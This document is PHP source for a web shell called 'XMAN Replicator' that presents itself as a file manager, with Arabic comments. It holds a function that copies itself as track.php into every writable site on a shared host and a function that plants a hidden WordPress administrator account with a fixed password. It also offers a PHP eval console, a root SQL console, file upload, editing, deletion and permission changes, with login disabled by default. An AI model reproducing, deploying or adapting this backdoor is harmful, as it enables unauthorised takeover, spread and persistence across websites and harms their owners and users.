ruạṛ
<?php /* XMAN_Replicator - مدير ملفات + ميزة التكاثر */ error_reporting(0); // ========== الإعدادات ========== $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Back":"Back","Cancel":"Cancel","Compress":"Compress","Console":"Console","Created":"Created","Date":"Date","Delete":"Delete","Deleted":"Deleted","Download":"Download","Edit":"Edit","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","Generation time":"Generation time","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Submit":"Submit","Task":"Task","templates":"templates","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // التهيئة $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $msg = ''; // إعدادات افتراضية $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, 'show_img' => true, 'show_php_ver' => true, 'show_gt' => true, 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => '', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); $fm_config = empty($_COOKIE['fm_config']) ? $fm_default_config : unserialize($_COOKIE['fm_config']); // لغة if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * 30)); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = empty($_COOKIE['fm_lang']) ? 'en' : $_COOKIE['fm_lang']; $lang = json_decode($translation, true); // دوال الترجمة function __($text) { global $lang; return isset($lang[$text]) ? $lang[$text] : $text; } // ========== دوال replication من NovaShell ========== // دالة البحث عن بنية الاستضافة ونسخ السكريبت function replicate_script($code) { static $once = false; if ($once) return []; $once = true; $start = __DIR__; while ($start !== '/') { // البحث عن مجلدات domains في مسارات الاستضافة المشتركة if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) { $urls = []; foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; $pub = "$start/domains/$dom/public_html"; if (is_dir($pub) && is_writable($pub)) { $path = "$pub/track.php"; if (file_put_contents($path, $code)) { $urls[] = "http://$dom/track.php"; } } } return $urls; } $start = dirname($start); } return []; } // دالة إنشاء مشرف ووردبريس function create_wp_admin($cwd) { $wppath = $cwd; while ($wppath !== '/') { if (file_exists("$wppath/wp-load.php")) break; $wppath = dirname($wppath); } if (file_exists("$wppath/wp-load.php")) { require_once("$wppath/wp-load.php"); $user = 'nova'; $pass = 'Nova@2025'; $mail = 'nova@galaxy.com'; if (!username_exists($user) && !email_exists($mail)) { $uid = wp_create_user($user, $pass, $mail); $wp_user = new WP_User($uid); $wp_user->set_role('administrator'); return "<p class='ok'>✅ WP Admin 'nova' created</p>"; } else { return "<p class='warning'>⚠️ User or email exists</p>"; } } else { return "<p class='error'>❌ WP not found</p>"; } } // ========== دوال XMAN الأساسية ========== function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = scandir($file); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) return $size . ' bytes'; elseif ($size <= 1024 * 1024) return round($size / 1024, 2) . ' Kb'; elseif ($size <= 1024 * 1024 * 1024) return round($size / (1024 * 1024), 2) . ' Mb'; elseif ($size <= 1024 * 1024 * 1024 * 1024) return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; else return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { if (is_file($f)) return filesize($f); $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') continue; if (is_file($f . '/' . $file)) $size += filesize($f . '/' . $file); else $size += fm_dir_size($f . '/' . $file, false); } closedir($dh); return $size; } } function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < ($num_fields - 1)) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return .= "\n\n\n"; } // حفظ الملف $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($path . $file, 'w+'); fwrite($handle, $return); fclose($handle); return $file; } // ========== معالجة الطلبات ========== // حذف if (isset($_GET['del'])) { $t = realpath($_GET['del']); if (strpos($t, $main_path) === 0 && file_exists($t)) { fm_del_files($t, isset($_GET['rec'])); $msg = __('Deleted') . ': ' . basename($t); } } // تنفيذ replication if (isset($_GET['replicate'])) { $code = file_get_contents(__FILE__); $urls = replicate_script($code); if (!empty($urls)) { $msg = "<p class='ok'>✅ تم النسخ إلى المواقع التالية:</p><ul>"; foreach ($urls as $u) $msg .= "<li><a href='$u' target='_blank'>$u</a></li>"; $msg .= "</ul>"; } else { $msg = "<p class='error'>❌ لم يتم العثور على بنية domains قابلة للكتابة.</p>"; } } // إنشاء مشرف ووردبريس if (isset($_GET['wp'])) { $msg = create_wp_admin($path); } // رفع ملف if ($_FILES) { move_uploaded_file($_FILES['upload']['tmp_name'], $path . basename($_FILES['upload']['name'])); $msg = __('Files uploaded'); } // إنشاء مجلد if (!empty($_POST['mk'])) { $d = $path . basename($_POST['mk']); if (!file_exists($d)) { mkdir($d); $msg = __('Make directory') . ': ' . basename($_POST['mk']); } else { $msg = __('Error occurred'); } } // حفظ التعديلات if (isset($_POST['save']) && isset($_POST['file'])) { $f = $path . basename($_POST['file']); file_put_contents($f, $_POST['content']); if (!empty($fm_config['restore_time'])) touch($f, filemtime($f)); $msg = __('File updated'); } // تغيير الصلاحيات if (isset($_POST['chmod'])) { $file = $path . basename($_POST['file']); $mode = fm_convert_rights($_POST['rights']); if (fm_chmod($file, $mode, isset($_POST['rec']))) { $msg = __('Rights') . ' ' . $_POST['rights'] . ' -> ' . $file; } else { $msg = __('Error occurred'); } } // ========== عرض الواجهة ========== ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>XMAN Replicator</title> <style> body { background: #000; color: #ddd; font-family: monospace; margin: 20px auto; max-width: 1200px; } a { color: #8cf; text-decoration: none; } a:hover { color: #f80; } table { width: 100%; border-collapse: collapse; } td, th { border: 1px solid #333; padding: 5px; } .header { background: #222; color: #0f0; padding: 10px; } .footer { background: #222; padding: 10px; text-align: center; font-size: 0.9em; } .path { background: #111; padding: 10px; margin: 10px 0; border-left: 3px solid #0f0; } .btn { background: #4cf; color: #000; padding: 5px 10px; border: none; cursor: pointer; margin: 2px; } .btn:hover { background: #8cf; } .ok { color: #0f0; } .error { color: #f44; } .warning { color: #ff4; } .rights { font-family: monospace; } textarea { width: 100%; background: #111; color: #0f0; border: 1px solid #333; } input, select { background: #111; color: #ddd; border: 1px solid #333; padding: 3px; } .home { background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==') no-repeat left center; padding-left: 20px; } .home:hover { background-color: #333; } </style> </head> <body> <div class="header"> <h2 style="display:inline;">🛸 XMAN Replicator</h2> <span style="float:right;"> <?php echo fm_lang_form($language); ?> <a href="<?php echo fm_url(); ?>?quit=1" class="btn"><?php echo __('Quit'); ?></a> </span> </div> <?php if (isset($_GET['quit'])) { setcookie('fm_user', '', time() - 3600); setcookie('fm_config', '', time() - 3600); setcookie('fm_lang', '', time() - 3600); header('Location: ' . fm_url()); exit; } // التحقق من الدخول $auth = json_decode($authorization, true); if (!$auth['authorize'] || (isset($_COOKIE['fm_user']) && $_COOKIE['fm_user'] == md5($auth['login'] . $auth['password']))) { // تم الدخول أو غير مفعل } else { if (isset($_POST['login']) && isset($_POST['password']) && $_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie('fm_user', md5($auth['login'] . $auth['password']), time() + (86400 * $auth['days_authorization'])); header('Location: ' . fm_url()); exit; } else { ?> <div style="text-align:center; margin-top:100px;"> <form method="post"> <h3><?php echo __('Authorization'); ?></h3> <input type="text" name="login" placeholder="Login" value="admin"><br><br> <input type="password" name="password" placeholder="Password" value="phpfm"><br><br> <button type="submit"><?php echo __('Enter'); ?></button> </form> </div> </body></html> <?php exit; } } // عرض رسالة if (!empty($msg)) echo "<div class='path'>$msg</div>"; // شريط المسار echo "<div class='path'>"; echo fm_home() . " " . __('Path') . ": "; $parts = explode('/', trim($path, '/')); $build = '/'; echo "<a href='?path=" . urlencode($build) . "'>/</a>"; foreach ($parts as $seg) { $build .= $seg . '/'; echo "<a href='?path=" . urlencode($build) . "'>$seg</a>/"; } echo "</div>"; // أزرار الإجراءات echo "<div style='margin:10px 0;'>"; echo "<a href='?replicate=1&path=" . urlencode($path) . "' class='btn'>📋 نشر إلى المواقع</a> "; echo "<a href='?wp=1&path=" . urlencode($path) . "' class='btn'>👤 إنشاء مشرف WP</a> "; echo "</div>"; // رفع ملف وإنشاء مجلد ?> <div style="background:#111; padding:10px; margin:10px 0;"> <form method="post" enctype="multipart/form-data" style="display:inline;"> <input type="file" name="upload"> <button class="btn" type="submit"><?php echo __('Upload'); ?></button> </form> <form method="post" style="display:inline;"> <input type="text" name="mk" placeholder="<?php echo __('Name'); ?>"> <button class="btn" type="submit"><?php echo __('Make directory'); ?></button> </form> </div> <?php // عرض الملفات $items = fm_scan_dir($path, '', 'all', true); if (empty($items)) { echo "<p>" . __('no files') . "</p>"; } else { ?> <table> <tr> <th><?php echo __('Name'); ?></th> <th><?php echo __('Size'); ?></th> <th><?php echo __('Rights'); ?></th> <th><?php echo __('Date'); ?></th> <th><?php echo __('Actions'); ?></th> </tr> <?php foreach ($items as $item) { $full = $path . $item; $is_dir = is_dir($full); $size = $is_dir ? ($fm_config['show_dir_size'] ? fm_dir_size($full) : '<DIR>') : filesize($full); $rights = fm_rights_string($full); $date = date('Y-m-d H:i', filemtime($full)); ?> <tr> <td> <?php if ($is_dir) { ?> <a href="?path=<?php echo urlencode($full); ?>">[<?php echo $item; ?>]</a> <?php } else { ?> <a href="?path=<?php echo urlencode($path); ?>&view=<?php echo urlencode($item); ?>"><?php echo $item; ?></a> <?php } ?> </td> <td><?php echo is_numeric($size) ? number_format($size) . ' B' : $size; ?></td> <td class="rights"><?php echo $rights; ?></td> <td><?php echo $date; ?></td> <td> <?php if (!$is_dir) { ?> <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($item); ?>">✏️</a> <?php } ?> <a href="?path=<?php echo urlencode($path); ?>&rename=<?php echo urlencode($item); ?>">🔄</a> <a href="?path=<?php echo urlencode($path); ?>&del=<?php echo urlencode($full); ?>" onclick="return confirm('<?php echo __('Are you sure you want to delete this file?'); ?>')">🗑️</a> <?php if ($is_dir) { ?> <a href="?path=<?php echo urlencode($path); ?>&del=<?php echo urlencode($full); ?>&rec=1" onclick="return confirm('<?php echo __('Are you sure you want to delete this directory (recursively)?'); ?>')">🗑️📁</a> <?php } ?> <a href="?path=<?php echo urlencode($path); ?>&download=<?php echo urlencode($full); ?>">⬇️</a> <a href="?path=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($item); ?>">🔒</a> </td> </tr> <?php } ?> </table> <?php } // عرض الملف (view) if (isset($_GET['view'])) { $file = $path . basename($_GET['view']); if (file_exists($file)) { $ext = pathinfo($file, PATHINFO_EXTENSION); echo "<h3>" . __('View') . ": " . basename($file) . "</h3>"; if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif']) && $fm_config['show_img']) { echo "<img src='" . fm_img_link($file) . "' style='max-width:100%;'><br>"; } echo "<textarea rows='20' readonly>" . htmlspecialchars(file_get_contents($file)) . "</textarea>"; } } // تحرير ملف if (isset($_GET['edit'])) { $file = $path . basename($_GET['edit']); if (file_exists($file)) { echo "<h3>" . __('Edit') . ": " . basename($file) . "</h3>"; echo "<form method='post'>"; echo "<input type='hidden' name='file' value='" . basename($file) . "'>"; echo "<textarea name='content' rows='20'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>"; echo "<button class='btn' type='submit' name='save'>" . __('Save') . "</button>"; echo "</form>"; } } // إعادة التسمية if (isset($_GET['rename'])) { $old = basename($_GET['rename']); echo "<h3>" . __('Rename') . ": $old</h3>"; echo "<form method='post' action='?path=" . urlencode($path) . "'>"; echo "<input type='hidden' name='oldname' value='$old'>"; echo "<input type='text' name='newname' value='$old'>"; echo "<button class='btn' type='submit' name='rename_submit'>" . __('Rename') . "</button>"; echo "</form>"; } if (isset($_POST['rename_submit']) && isset($_POST['oldname']) && isset($_POST['newname'])) { $old = $path . basename($_POST['oldname']); $new = $path . basename($_POST['newname']); if (rename($old, $new)) { $msg = __('Rename') . " " . basename($old) . " -> " . basename($new); } else { $msg = __('Error occurred'); } } // تغيير الصلاحيات if (isset($_GET['chmod'])) { $file = basename($_GET['chmod']); echo "<h3>" . __('Rights') . ": $file</h3>"; echo "<form method='post'>"; echo "<input type='hidden' name='file' value='$file'>"; $rights = fm_rights_string($path . $file); echo "<input type='text' name='rights' value='$rights' maxlength='9' pattern='[rwx-]{9}' title='rwxrwxrwx'>"; echo "<label><input type='checkbox' name='rec'> " . __('Recursively') . "</label>"; echo "<button class='btn' type='submit' name='chmod'>" . __('Submit') . "</button>"; echo "</form>"; } // تنفيذ PHP if ($fm_config['enable_php_console'] && isset($_POST['php_code'])) { echo "<h3>PHP " . __('Console') . "</h3>"; echo "<pre>" . htmlspecialchars(fm_php($_POST['php_code'])) . "</pre>"; } // تنفيذ SQL if ($fm_config['enable_sql_console'] && isset($_POST['sql_query'])) { echo "<h3>SQL " . __('Console') . "</h3>"; echo fm_sql($_POST['sql_query']); } // عرض صناديق الإدخال echo "<hr>"; if ($fm_config['enable_php_console']) { echo "<h3>PHP " . __('Console') . "</h3>"; echo "<form method='post'><textarea name='php_code' rows='10'></textarea><br><button class='btn'>Execute</button></form>"; } if ($fm_config['enable_sql_console']) { echo "<h3>SQL " . __('Console') . "</h3>"; echo "<form method='post'><textarea name='sql_query' rows='5'></textarea><br><button class='btn'>Execute</button></form>"; } // عرض وقت التوليد if ($fm_config['show_gt']) { $endtime = explode(' ', microtime()); $endtime = $endtime[1] + $endtime[0]; echo "<div class='footer'>" . __('Generation time') . ": " . round($endtime - $starttime, 4) . " sec</div>"; } ?> </body> </html> <?php // دوال مساعدة إضافية function fm_lang_form($current) { return ' <form name="change_lang" method="post" action="" style="display:inline;"> <select name="fm_lang" onchange="this.form.submit()"> <option value="en" ' . ($current == 'en' ? 'selected' : '') . '>English</option> <option value="ru" ' . ($current == 'ru' ? 'selected' : '') . '>Русский</option> <option value="fr" ' . ($current == 'fr' ? 'selected' : '') . '>Français</option> </select> </form> '; } function fm_home() { return '<a href="?path=/" class="home" title="Home"> </a>'; } function fm_url() { return $_SERVER['PHP_SELF']; } function fm_img_link($file) { return '?img=' . base64_encode($file); } function fm_chmod($file, $mode, $rec) { if (@chmod($file, $mode)) { if ($rec && is_dir($file)) { $items = scandir($file); foreach ($items as $item) { if ($item != '.' && $item != '..') { fm_chmod($file . '/' . $item, $mode, true); } } } return true; } return false; } function fm_convert_rights($str) { $map = ['r' => 4, 'w' => 2, 'x' => 1, '-' => 0]; $owner = $map[$str[0]] + $map[$str[1]] + $map[$str[2]]; $group = $map[$str[3]] + $map[$str[4]] + $map[$str[5]]; $world = $map[$str[6]] + $map[$str[7]] + $map[$str[8]]; return intval($owner . $group . $world, 8); } ?>
cải xoăn